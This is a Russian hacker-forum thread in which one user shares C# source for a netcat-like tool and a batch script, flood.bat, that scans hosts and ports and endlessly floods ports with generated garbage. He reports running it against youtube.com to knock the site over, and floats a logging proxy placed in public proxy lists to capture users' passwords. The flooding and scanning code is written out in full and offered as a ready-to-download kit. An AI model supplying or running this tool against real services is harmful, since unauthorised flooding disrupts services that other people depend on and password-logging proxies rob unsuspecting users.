|
Успешные хакерские взломы. Скачать свежие утечки и книги
|
|
|
Talomir
|
#406 | Четверг, 01.08.2024, 14:04
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
Кстати, скриптом flood.bat можно пользоваться не только для локальной сети, но и для интернет-серверов. Ниже, например, пример скана https://www.youtube.com на открытые tcp-порты суперпользователя:
C:/> flood --scanports www.youtube.com
Код .ok 80 open tcp .ok 443 open tcp
C:/> flood --crashport www.youtube.com 443
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Статус: нет меня
|
|
|
|
Talomir
|
#407 | Четверг, 01.08.2024, 14:45
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
TALK FOR WINDOWS: ПРОСТОЙ ЧАТ НА ДВУХ КОМАНДАХ
Под операционной системой UNIX изначально была утилита talk, которая позволяла поговорить с любым пользователем сервера по сети. При этом не было никакой привязки к телефону с ФИО, оплаты по тарифу за переговоры, и других проблем современных чат-монополистов. Под Windows такой утилиты не было.
В этом посте я рассказываю как сделать скрипт-чат на Windows при помощи двух команд, netcat (nc64.exe) и pipesend.exe
Для приёма сообщений: C:/> nc64 -L -p 8888
Эта команда начинает слушать порт 8888 и печатать входящие символы в своё окно (на экран, как говорили ранее)
Для посылки сообщений: C:/> pipesend 192.168.1.63 8888
Эта команда открывает консоль по чтению и пересылает все вводимые символы на удалённый TCP порт, 8888 в данном случае, который слушает netcat и печатает символы на экран.
Всё, при помощи pipesend можно говорить с любым, у кого на порту запущен netcat. Если вы находитесь с собеседником не в реальной сети, то у него должен быть реальный ip адрес, иначе соединение не зайдёт в NAT-локалку! Фото работы программ ниже:

Не надо платить Дурову за телеграм и говорить на прослушку ФСБ и психиатрической службы!
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Статус: нет меня
|
|
|
|
Talomir
|
#408 | Четверг, 01.08.2024, 16:29
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
УЛУЧШАЕМ СКРИПТ-ЧАТ: ОДНА КОМАНДА
Добавил режим прослушивания сокета --listen в утилиту pipesend, теперь можно сделать хак-чат без запрещённого nc64.exe
Для приёма сообщений: C:/> pipesend --listen 8888
Для посылки сообщений: C:/> pipesend 127.0.0.1 8888

Обновил ссылку на скачивание выше...
Код using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Net; using System.Net.Sockets; using System.Net.NetworkInformation; using System.IO; using System.Threading;
namespace pipesend { class Program { static bool done = false; static int port = 80; static void Main(string[] args) { if (args[0].Equals("-h") || args[0].Equals("--help")) { Console.WriteLine("pipesend: send a file to remote tcp port. Version 1.0"); Console.WriteLine("USAGE: pipesend host_or_ip port <file.dat"); Console.WriteLine("EXAMPLE: echo AA|pipesend 192.168.1.1 80"); Console.WriteLine("USAGE: pipesend --listen port"); Console.WriteLine("EXAMPLE: pipesend --listen 80"); return; }
try { port = Int32.Parse(args[1]);
if (args[0].Equals("--listen")) { Task.WaitAll(Task.Run(BindAllInterfaces)); return; }
IPAddress ip = Dns.GetHostAddresses(args[0])[0];
Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); sok.ReceiveTimeout = 200; sok.SendTimeout = 1000;
IAsyncResult result = sok.BeginConnect(ip, port, null, null);
bool success = result.AsyncWaitHandle.WaitOne(50, true);
if (sok.Connected) { sok.EndConnect(result);
NetworkStream ns = new NetworkStream(sok);
Stream fs = Console.OpenStandardInput();
while (fs.CanRead) { Thread.Sleep(100);
byte[] buf = new byte[8192];
int r = fs.Read(buf, 0, buf.Length);
if (r > 0) { ns.Write(buf, 0, r); Console.Write("."); } else break;
ns.Flush(); }
done = true; try { ns.Close(); } catch { } try { fs.Close(); } catch { } } try { sok.Shutdown(SocketShutdown.Both); } catch { } try { sok.Close(); } catch { }
} catch { }
if (done) Console.WriteLine("ok"); else Console.WriteLine("error"); }
protected static async Task BindAllInterfaces() { try { List<IPAddress> ip = new List<IPAddress>(); NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); foreach (NetworkInterface netInterface in allNetworkInterfaces) { foreach (UnicastIPAddressInformation addr2 in netInterface.GetIPProperties().UnicastAddresses) { try { if (addr2.IPv4Mask.Address != 0L) ip.Add(addr2.Address); } catch { } } } List<Task> list = new List<Task>(); foreach (IPAddress addr in ip) { try { BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); BindSocket.Bind(new IPEndPoint(addr, port)); BindSocket.Listen(500); list.Add(Task.Run(Accepter)); } catch { }
await Task.Delay(1000); } Task.WaitAll(list.ToArray<Task>()); } catch { } }
static Socket BindSocket = null; static Socket data = null; static async Task Accepter() { Socket bind = BindSocket; bind.ReceiveTimeout = 256;
while (true) try { data = bind.Accept(); if (data == null) { await Task.Delay(30); continue; } data.ReceiveTimeout = 100000; Task.Run(SocketReader); await Task.Delay(500); } catch { } }
static async Task SocketReader() { Socket DataSocket = data; try { Stream fs = Console.OpenStandardOutput(); NetworkStream ns = new NetworkStream(DataSocket);
while (ns.CanRead) { byte[] buf = new byte[8192];
int r = ns.Read(buf, 0, buf.Length);
if (r < 0) break; else fs.Write(buf, 0, r);
fs.Flush(); } try { fs.Close(); } catch { } try { ns.Close(); } catch { } } catch { }
try { DataSocket.Shutdown(SocketShutdown.Both); } catch { } try { DataSocket.Close(); } catch { } } } }
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Сообщение отредактировал(а) Talomir - Четверг, 01.08.2024, 16:29
|
|
Статус: нет меня
|
|
|
|
Talomir
|
#409 | Четверг, 01.08.2024, 19:20
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
ФОТО: СКРИПТ-ЧАТ НА ОДНОЙ КОММАНДЕ DOS-А, ВМЕСТО ТЕЛЕГРАМА
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Статус: нет меня
|
|
|
|
Talomir
|
#410 | Пятница, 02.08.2024, 12:08
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
ГРУППОВОЙ ЧАТ С ИСХОДНИКАМИ ВСЕГО НА ДВА ЭКРАНА
WINDOWS LINUX MACOS
Раз уж я переписываю запрещённый netcat для своих нужд, и для релиза, то сразу добавил и чат (аналог talk в UNIX) и сделал его групповым. В режиме сервера pipesend биндит перечисляемые в аргументах запуска интерфейсы и ждёт подключений. Пересылаемые по подключениям данные сразу рассылаются по всему массиву подключений, пишет один - читают многие. Также, можно пересылать и текстовые файлы, перенаправив ввод клиента pipesend на файл. Исходники приведу ниже.
1 - чат без шифрования
На сервере с реальным ip: C:/> pipesend --listen 8888 127.0.0.1 192.168.1.63
слушать порт 8888 на интерфейсах 127.0.0.1 и внешнем ip (тут он указан гипотетический)
На клиентах без реального ip: C:> pipesend 192.168.1.63 8888
клиент соединяется с сервером, посылает и принимает текстовые сообщения. Нажимать enter дважды для пересылки своей фразы, чужие фразы отображаются автоматически. Работает и русский язык!
На клиенте для передачи текстового файла: C:/> pipesend 192.168.1.63 <file.txt
Для чата с шифрованием: запускаем pipesend на linux-сервере на интерфейсе 127.0.0.1 и добавляем в SSH пользователей для захода на linux и запуска pipesend 127.0.0.1 8888, так весь трафик будет зашифрован по открытому ключу OpenSSL.
Фотка разговора:

Фотка посылки текстового файла с исходниками:

Исходники на C# (скачать можно будет на днях, я дам ссылку когда поправлю флудер портов с использованием pipesend)
Код using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Net; using System.Net.Sockets; using System.Net.NetworkInformation; using System.IO; using System.Threading;
namespace pipesend { class Program { static bool done = false; static int port = 8888; static void Main(string[] args) { if (args.Length < 2 || args[0].Equals("-h") || args[0].Equals("--help")) { Console.WriteLine("pipesend: send a file to remote tcp port or run a chat-server, version 1.1"); Console.WriteLine("USAGE: pipesend host_or_ip port <file.dat"); Console.WriteLine("EXAMPLE: echo AA|pipesend 192.168.1.1 80"); Console.WriteLine("USAGE: pipesend --listen port local_ip1 [local_ip2 local_ip3...]"); Console.WriteLine("EXAMPLE: pipesend --listen 8888 127.0.0.1"); return; }
try { port = Int32.Parse(args[1]); } catch { }
if (args[0].Equals("--listen")) { List<Task> list = new List<Task>();
for (int i = 2; i < args.Length; i++) try { IPAddress addr = Dns.GetHostAddresses(args[i])[0]; BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); BindSocket.Bind(new IPEndPoint(addr, port)); BindSocket.Listen(500); list.Add(Task.Run(Accepter));
Thread.Sleep(1000); } catch { }
Task.WaitAll(list.ToArray<Task>()); } else try { IPAddress ip = Dns.GetHostAddresses(args[0])[0];
Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); sok.ReceiveTimeout = 300; sok.SendTimeout = 300;
IAsyncResult result = sok.BeginConnect(ip, port, null, null);
bool success = result.AsyncWaitHandle.WaitOne(100, true);
if (sok.Connected) { //sok.EndConnect(result);
Stream fs = Console.OpenStandardInput(); Stream os = Console.OpenStandardOutput();
while (true) { byte[] buf;
int r = 0;
if (!Console.IsInputRedirected) { buf = new byte[1]; if (Console.KeyAvailable) r = fs.Read(buf, 0, buf.Length); } else { buf = new byte[8192]; r = fs.Read(buf, 0, buf.Length); } if (r > 0) { byte[] sbuf = new byte[r];
for (int i = 0; i < r; i++) sbuf[i] = buf[i];
sok.Send(sbuf);
if (!Console.IsInputRedirected) continue; } else if (Console.IsInputRedirected) break;
try { byte[] rbuf = new byte[8192];
int a = 0;
if (sok.Available > 0) a = sok.Receive(rbuf); if (a > 0) { os.Write(rbuf, 0, a); os.Flush(); } } catch { } }
done = true; try { fs.Close(); } catch { } try { os.Close(); } catch { }
} try { sok.Shutdown(SocketShutdown.Both); } catch { } try { sok.Close(); } catch { }
} catch { }
if (done) Console.WriteLine("ok"); else Console.WriteLine("error"); }
static Socket BindSocket = null; static Socket data = null; static async Task Accepter() { Socket bind = BindSocket; bind.ReceiveTimeout = 256;
while (true) try { data = bind.Accept(); if (data == null) { await Task.Delay(30); continue; } data.ReceiveTimeout = 1000; Task.Run(SocketReader); await Task.Delay(500); } catch { } }
static List<Socket> clients = new List<Socket>();
static object clients_lock = new object();
static async Task SocketReader() { Socket DataSocket = data; NetworkStream ns = null; try { Stream fs = Console.OpenStandardOutput();
lock (clients_lock) clients.Add(DataSocket);
byte[] buf = new byte[8192];
do { int r = 0;
if (DataSocket.Available > 0) r = DataSocket.Receive(buf);
if (r < 0) break; else { byte[] sbuf = new byte[r];
for (int i = 0; i < r; i++) sbuf[i] = buf[i];
fs.Write(buf, 0, r); fs.Flush();
for (int i = 0; i < clients.Count; i++) if (clients[i] != DataSocket) try { clients[i].Send(sbuf); } catch { } } } while (true);
try { fs.Close(); } catch { } } catch { }
try { DataSocket.Shutdown(SocketShutdown.Both); } catch { } try { DataSocket.Close(); } catch { } lock(clients_lock) { for (int i = 0; i < clients.Count; i++) if (clients[i] == DataSocket) { clients.RemoveAt(i); break; } } } } }
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Сообщение отредактировал(а) Talomir - Пятница, 02.08.2024, 12:10
|
|
Статус: нет меня
|
|
|
|
Talomir
|
#411 | Пятница, 02.08.2024, 18:19
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
ЕЩЁ РАЗ УЛУЧШЕННЫЙ СКАННЕР НЮКЕР ФАЗЕР ФЛУДЕР ПОРТОВ
Ещё раз улучшенный фаззер портов, в этом улучшении обновлён компонент pipesend.exe и улучшен вывод на экран. Привожу примеры и исходники, архив со скриптом и бинарниками закачаю для скачивания немного позже.
Код FLOOD.BAT: flood local ip with generator's garbage to ports 1-1024 or a given port USAGE: flood --scan 192.168.1 find hosts on local net and shows their names and IP addresses flood --scan2 192.168 find hosts on local net level 2 and shows their names and IP addresses flood --scanports 192.168.1.1 scan open root ports on given host flood --scanallports 192.168.1.1 scan all open ports on given host flood --crash 192.168.1.187 flood with supplied phrase.exe generator (no and -a options of generator) flood --crash 192.168.1.187 my_gen.exe flood with user's my_gen.exe trash generator flood --crashport 192.168.1.187 80 flood port with supplied phrase.exe generator (no and -a options of generator) flood --crashport 192.168.1.187 80 my.exe flood port with user's my.exe generator
Код flood --scan 192.168.1
Сервер: router.asus.com Address: 192.168.1.1
Имя: router.asus.com Address: 192.168.1.1
Сервер: router.asus.com Address: 192.168.1.1
Имя: WIN-J2G446M9P30 Address: 192.168.1.63
Сервер: router.asus.com Address: 192.168.1.1
Сервер: router.asus.com Address: 192.168.1.1
Имя: Vladimirs-MBP Address: 192.168.1.241
Код flood --scan2 192.168
Сервер: router.asus.com Address: 192.168.1.1
Имя: router.asus.com Address: 192.168.1.1
Сервер: router.asus.com Address: 192.168.1.1
Имя: WIN-J2G446M9P30 Address: 192.168.1.63
Сервер: router.asus.com Address: 192.168.1.1
Сервер: router.asus.com Address: 192.168.1.1
Имя: Vladimirs-MBP Address: 192.168.1.241
Сервер: router.asus.com Address: 192.168.1.1
Код flood --scanports www.youtube.com
80 open tcp 443 open tcp
Код @echo off
if "%1" == "--scan" goto Scan if "%1" == "--scan2" goto Scan2 if "%1" == "--scanports" goto Scanports if "%1" == "--scanallports" goto Scanallports if "%1" == "--crash" goto Crash if "%1" == "--crashport" goto Crashport
echo FLOOD.BAT: flood local ip with generator's garbage to ports 1-1024 or a given port echo USAGE: echo flood --scan 192.168.1 find hosts on local net and shows their names and IP addresses echo flood --scan2 192.168 find hosts on local net level 2 and shows their names and IP addresses echo flood --scanports 192.168.1.1 scan open root ports on given host echo flood --scanallports 192.168.1.1 scan all open ports on given host echo flood --crash 192.168.1.187 flood with supplied phrase.exe generator (no and -a options of generator) echo flood --crash 192.168.1.187 my_gen.exe flood with user's my_gen.exe trash generator echo flood --crashport 192.168.1.187 80 flood port with supplied phrase.exe generator (no and -a options of generator) echo flood --crashport 192.168.1.187 80 my.exe flood port with user's my.exe generator
goto exit_me
:Crash
for /L %%P in (1,1,1024) do (
echo Pong %2 %%P TCP unicode if "%3" == "" (cmd /C phrase.exe|pipesend %2 %%P) else (cmd /C %3|pipesend %2 %%P)
echo Pong %2 %%P TCP ascii if "%3" == "" (cmd /C phrase.exe -a|pipesend %2 %%P) else (cmd /C %3 -a|pipesend %2 %%P) )
goto Crash
:Crashport
echo Pong %2 %3 TCP unicode if "%4" == "" (cmd /C phrase.exe|pipesend %2 %3) else (cmd /C %4|pipesend %2 %3)
echo Pong %2 %3 TCP ascii if "%4" == "" (cmd /C phrase.exe -a|pipesend %2 %3) else (cmd /C %4 -a|pipesend %2 %3)
goto Crashport
:Scan for /L %%Q in (0,1,255) do ( ping -n 1 -w 20 %2.%%Q | find "TTL" >_1_%2%%Q if not errorlevel 1 nslookup %2.%%Q del _1_%2%%Q ) goto exit_me
:Scan2 for /L %%Q in (0,1,255) do ( for /L %%R in (0,1,255) do ( ping -n 1 -w 20 %2.%%Q.%%R | find "TTL" >_1_%2.%%Q%%R if not errorlevel 1 nslookup %2.%%Q.%%R del _1_%2.%%Q%%R ) ) goto exit_me
:Scanports for /L %%Q in (1,1,1024) do ( echo GET|pipesend %2 %%Q | find "ok" >_1_%2%%Q if not errorlevel 1 echo %%Q open tcp del _1_%2%%Q ) goto exit_me
:Scanallports for /L %%Q in (1,1,65535) do ( echo GET|pipesend %2 %%Q | find "ok" >_1_%2.%%Q if not errorlevel 1 echo %%Q open tcp del _1_%2.%%Q ) goto exit_me :exit_me
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Сообщение отредактировал(а) Talomir - Пятница, 02.08.2024, 18:42
|
|
Статус: нет меня
|
|
|
|
Talomir
|
#412 | Пятница, 02.08.2024, 20:03
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
CКАЧАТЬ ФЛУДЕР ПОРТОВ FLOOD.BAT И ГРУППОВОЙ ЧАТ PIPESEND
hack-13-pipesend-flood.7z
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Сообщение отредактировал(а) Talomir - Воскресенье, 04.08.2024, 14:53
|
|
Статус: нет меня
|
|
|
|
Talomir
|
#413 | Суббота, 03.08.2024, 10:02
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
ОБНОВИЛ РАЗДАЧУ ФЛУДЕРА
Это обновление улучшает юзабилити скрипта flood.bat
FLOOD.BAT: flood host with generator's garbage to ports 1-1024 or a given port USAGE: flood --ping 192.168.1 find hosts on local net and shows their names and IP addresses flood --ping2 192.168 find hosts on local net level 2 and shows their names and IP addresses flood --scan host scan open root tcp ports on given host flood --scanall host scan all open tcp ports on given host flood --crashport phrase.exe 80 host1... host6 flood port 80 on set of hosts with fuzzer phrase.exe flood --crashall phrase.exe host1... host6 flood ports 1-1024 with phrase.exe generator
Теперь в режимах крэша порта и крэша портов рута 1-1024 можно указывать сразу до 6 хостов на запуск, все они будут крэшися одним окном. Это сокращает и набор на клавиатуре и неразбериху с окнами на экране.
Режим сканирования хостов сети теперь называется --ping и --ping2.
Режимы сканирования портов так и называются --scan для первых 1-1024 и --scanall для всех портов 1-65535. Ссылка на скачивание в предыдущем посту обновлена.
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Сообщение отредактировал(а) Talomir - Суббота, 03.08.2024, 10:02
|
|
Статус: нет меня
|
|
|
|
Talomir
|
#414 | Суббота, 03.08.2024, 13:19
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
ШИФРОВАННЫЕ МЕЖДУНАРОВНЫЕ ПЕРЕГОВОРЫ ДО 3 ЕВРО В МЕСЯЦ TUTORIAL
Арендуете линукс-дедик за 7 евро в месяц, наример в deltahost.ua
Ставите mono-complete через apt для запуска программ на C#
Заускаете pipesend на порту 7777 интерфейса 127.0.0.1
Заводите пользователей с надёжными паролями и ложите им в home утилиту pipesend (или прописываете путь к pipesend в PATH)
Всё, пользователи могут заходить через putty на сервер и общаться в общей комнате на порту 7777. Трафик до сервера при этом шифруется по открытому ключу OpenSSL, а локальный трафик localhost-чата не выходит за пределы оперативной памяти сервера, то есть переговоры получаются супер-надёжными, шированными.
На одном линукс-сервере можно запустить несколько pipesend, на разных портах, на интерфейсах localhost и внешнем, сделав множество чат-румов. На localhost-е - для общения с шифрованием, разные группы, на внешнем ip - для чат-румов без шифрования с Windows машин, общих чат-румов. Доступ к румам с шифрованием админ может контролировать паролями пользователей (например, пользователи могут скидываться на аренду дедика).
Общая стоимость аренды линукса в реальным ip, 7 евро, делится на количество пользователей в руме, не надо платить каждому как за телефон с Android. Так, если пользователей всего 2, то шифрованная связь обходится в 3.5 евро в месяц, а если пользователей около 7, например - программерская группа, то шифрованная связь будет обходиться всего в 1 евро в месяц, то есть в 10 раз дешевле телефона, и это - междунаровдная связь с шифрованием и без отслеживания!
Также, можно запилить коммерческий сервис шифрованных переговоров, арендовав дедик и беря с пользователей абонплату за шифрованное общение на сервере. При это бесплатные переговоры с Windows на публичном ip будут хорошей рекламой серверу.
Более подробно о pipesend можно прочитать в постах выше, там же скачать эту замечательную утилиту
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Статус: нет меня
|
|
|
|
Talomir
|
#415 | Суббота, 03.08.2024, 21:12
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
ЧЕТЫРЕ ОКНА FLOOD.BAT ЛОЖАТ СРЕДНИЙ СЕТЕВОЙ СЕРВИС
Всё серъёзно, я добавил механизмы синхронизации потоков на семафорах, чтобы не было гонок при старте обработчиков подключений. В ручной работе - работает многоконный чат.
Но вот на курилке решил запустить стресс-тест утилиты pipesend, при помощи неё-же в скрипте flood.bat выше, режим --crashport
И что-же, через две минуты работы 4 окон крэшера порта, мой pipesend сервер перестал отвечать. Это при том, что он занимает всего 2 экрана и ничего кроме чтения сокетов и файлов не делает. Флудер вместе с ИИ-генератором мусора завалили мою последнюю разработку за две минуты! Ваши сетевые программы пройдут стрессо-тестирование?
Будет работа на 2-3 недели, по повышению стрессоустойчивости, задача творческая, надо думать как к ней подступиться...
 vietnamese accent
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Статус: нет меня
|
|
|
|
Talomir
|
#416 | Суббота, 03.08.2024, 21:14
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
Кто не может исправить ошибки в стресс-тесте - тот ламер!
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Статус: нет меня
|
|
|
|
Talomir
|
#417 | Суббота, 03.08.2024, 21:44
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
ПОНЯТНО ЧТО НА СИ-ШАРПЕ - ПИШЕТСЯ. ТЫ НА BATе НАПИШИ!
ПРОТОКОЛИРУЮЩИЙ ПРОКСИ-СЕРВЕР НА ПОЛ ЭКРАНА
Начал второй проект, паралельно pipesend-у и flood-у, протоколирующий прокси-сервер на.bat с pipesend, для снятия протоколов сайтов в первую очередь. Конечно, протоколирующий прокси можно выставить в сеть, засветить адрес в публикациях и попасть в фри-прокси-листы, писать пароли пользователей, юзающих бесплатные прокси. Студентам интересно, мне в 50 - не очень. А вот покопаться в протоколах сайтов интересно! В общем, планирую сделать и раздать, каждый будет юзать как хочет.
Идея запускать на порту pipesend, слушающий сокет и перенаправляющий поток байтов на настоящий прокси из free-proxy-list. И паралельным подключением логать это всё в файл и выводить в окно. Приблизительно это выглядит как в следующем черновике (пример кода на пол экрана наполовину работает, но очень медленно пока-что)
Код @echo off
if "%1" == "" goto Usage
echo Starting proxy on address 127.0.0.1 port %1 echo THIS IS DRAFT: non-finished code
pipesend --listen %1 127.0.0.1 | pipesend --noeof %2 %3 | pipesend --noeof 127.0.0.1 %1
goto ExitMe
:Usage
echo USAGE: logproxy listen_port real_http_proxy preal_proxy_port echo Set browser proxy to 127.0.0.1:listenport and drive browser to http://yoursite.com
:ExitMe
Если доведу, за несколько недель, то релиз будет в одном архиве с pipesend и flood.bat, набор сетевого хакера и тестировщика от меня. А пока что показываю окна с выводом этого полу-рабочего примера:

Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Статус: нет меня
|
|
|
|
Talomir
|
#418 | Суббота, 03.08.2024, 21:59
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
Запустил www.youtube.com на тест, сайт заведомо уязвимый судя по сбоям 30 июля - 3 августа, может и flood.bat его уделает, и у меня будет кнопка 'выключить' раздражающую психо-обработку с андроида!
Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
|
Статус: нет меня
|
|
|
|
Talomir
|
#419 | Воскресенье, 04.08.2024, 15:01
|
Автор темы
Immortal
На вязках
Юзер-бар +
Диагноз: психически здоров (почти)
БОЛЕЕ НАДЁЖНЫЙ PIPESEND И КОРОТКИЙ FLOOD.BAT
Я уже писал, что 3 и 4 окна флудера вешали сервер pipesend в режиме чата, исключение выбрасывалось из-за переполнения очереди listen-backlog в методе Socket.Accept и из-за ситуации гонок. Также, были плохо продуманы таймауты приёма-передачи и чтения-записи файловых дескрипторов, не все файловые операции обрабатывали исключения.
После всех этих исправлений чат-сервер pipesend уже выдерживает 3 окна flood.bat, лишь на время теряя работоспособность при переполнении подключений и данных флудом. По хорошему, надо вести счётчики соединений с одного ip и при больше 100 в минуту с одного адреса блокировать адрес на день, не пропуская соединений с него. Так называемая защита от tcp-флуда.
Исходники надёжного pipesend.exe приведены ниже, половина кода является обеспечением надёжности, вторая половина - логики работы.
Код using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Net; using System.Net.Sockets; using System.Net.NetworkInformation; using System.IO; using System.Threading;
namespace pipesend { class Program { const int RWTIMEOUTMS = 300, CONNECTTIMEOUTMS = 300, MAXCLIENTS = 25;
static bool done = false; static int port = 8888; static int argsshift = 0; static bool NOEOF = false;
static Semaphore _bind_socket = new Semaphore(0, 1); static Semaphore _data_socket = new Semaphore(0, 1); static Socket BindSocket = null; static Socket data = null;
static void Main(string[] args) { if (args.Length < 2 || args[0].Equals("-h") || args[0].Equals("--help")) { Console.WriteLine("pipesend: send a file to remote tcp port or run a chat-server, version 1.3"); Console.WriteLine("USAGE: pipesend [--noeof] host_or_ip port <file.dat"); Console.WriteLine("EXAMPLE: echo AA|pipesend 192.168.1.1 80"); Console.WriteLine("USAGE: pipesend --listen port local_ip1 [local_ip2 local_ip3...]"); Console.WriteLine("EXAMPLE: pipesend --listen 8888 127.0.0.1"); Console.WriteLine("--noeof ignore EOF when input is redirected to file and continue wait data"); return; }
if (args[0].Equals("--noeof")) { NOEOF = true; argsshift = 1; }
try { port = Int32.Parse(args[1+argsshift]); } catch { }
if (args[0].Equals("--listen")) { List<Task> list = new List<Task>();
for (int i = 2; i < args.Length; i++) try { IPAddress addr = Dns.GetHostAddresses(args[i])[0]; BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); BindSocket.Bind(new IPEndPoint(addr, port)); BindSocket.Listen(1000); list.Add(Task.Run(Accepter)); _bind_socket.WaitOne(); } catch { }
Task.WaitAll(list.ToArray<Task>()); } else try { IPAddress ip = Dns.GetHostAddresses(args[0+argsshift])[0];
Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); sok.ReceiveTimeout = RWTIMEOUTMS; sok.SendTimeout = RWTIMEOUTMS;
IAsyncResult result = sok.BeginConnect(ip, port, null, null);
bool success = result.AsyncWaitHandle.WaitOne(CONNECTTIMEOUTMS, true);
if (sok.Connected) { Stream fs = Console.OpenStandardInput(); Stream os = Console.OpenStandardOutput();
while (true) { byte[] buf;
int r = 0;
if (!Console.IsInputRedirected) { buf = new byte[1]; if (Console.KeyAvailable) r = fs.Read(buf, 0, buf.Length); } else { buf = new byte[8192]; try { r = fs.Read(buf, 0, buf.Length); } catch { } } if (r > 0) { byte[] sbuf = new byte[r];
for (int i = 0; i < r; i++) sbuf[i] = buf[i];
sok.Send(sbuf);
if (!Console.IsInputRedirected) continue; } else if (Console.IsInputRedirected && !NOEOF) break;
try { byte[] rbuf = new byte[8192];
int a = 0;
if (sok.Available > 0) a = sok.Receive(rbuf); if (a > 0) try { os.Write(rbuf, 0, a); os.Flush(); } catch { } } catch { } } done = true; try { fs.Close(); } catch { } try { os.Close(); } catch { }
} else Console.WriteLine("can't connect "+ip); try { sok.Shutdown(SocketShutdown.Both); } catch { } try { sok.Close(); } catch { }
} catch { }
if (done) Console.WriteLine("ok"); else Console.WriteLine("error"); }
static async Task Accepter() { Socket bind = BindSocket; _bind_socket.Release();
bind.ReceiveTimeout = CONNECTTIMEOUTMS; bind.SendTimeout = CONNECTTIMEOUTMS;
while (true) try { data = null; try { data = bind.Accept(); } catch { } if (data == null) continue; bool overflow = false; lock (clients_lock) { if (clients.Count >= MAXCLIENTS) overflow = true; } if (overflow) { try { data.Shutdown(SocketShutdown.Both); } catch { } try { data.Close(); } catch { } continue; } data.ReceiveTimeout = RWTIMEOUTMS; data.SendTimeout = RWTIMEOUTMS;
Task.Run(SocketReader); _data_socket.WaitOne(); } catch { } }
static List<Socket> clients = new List<Socket>();
static object clients_lock = new object();
static async Task SocketReader() { Socket DataSocket = data; _data_socket.Release();
try { Stream fs = Console.OpenStandardOutput();
lock (clients_lock) clients.Add(DataSocket);
byte[] buf = new byte[8192];
do { int r = 0;
if (DataSocket.Available > 0) r = DataSocket.Receive(buf);
if (r < 0) break; else { byte[] sbuf = new byte[r];
for (int i = 0; i < r; i++) sbuf[i] = buf[i];
try { fs.Write(buf, 0, r); fs.Flush(); } catch { }
lock (clients_lock) { for (int i = 0; i < clients.Count; i++) if (clients[i] != DataSocket) try { clients[i].Send(sbuf); } catch { } } } } while (true);
fs.Close(); } catch { }
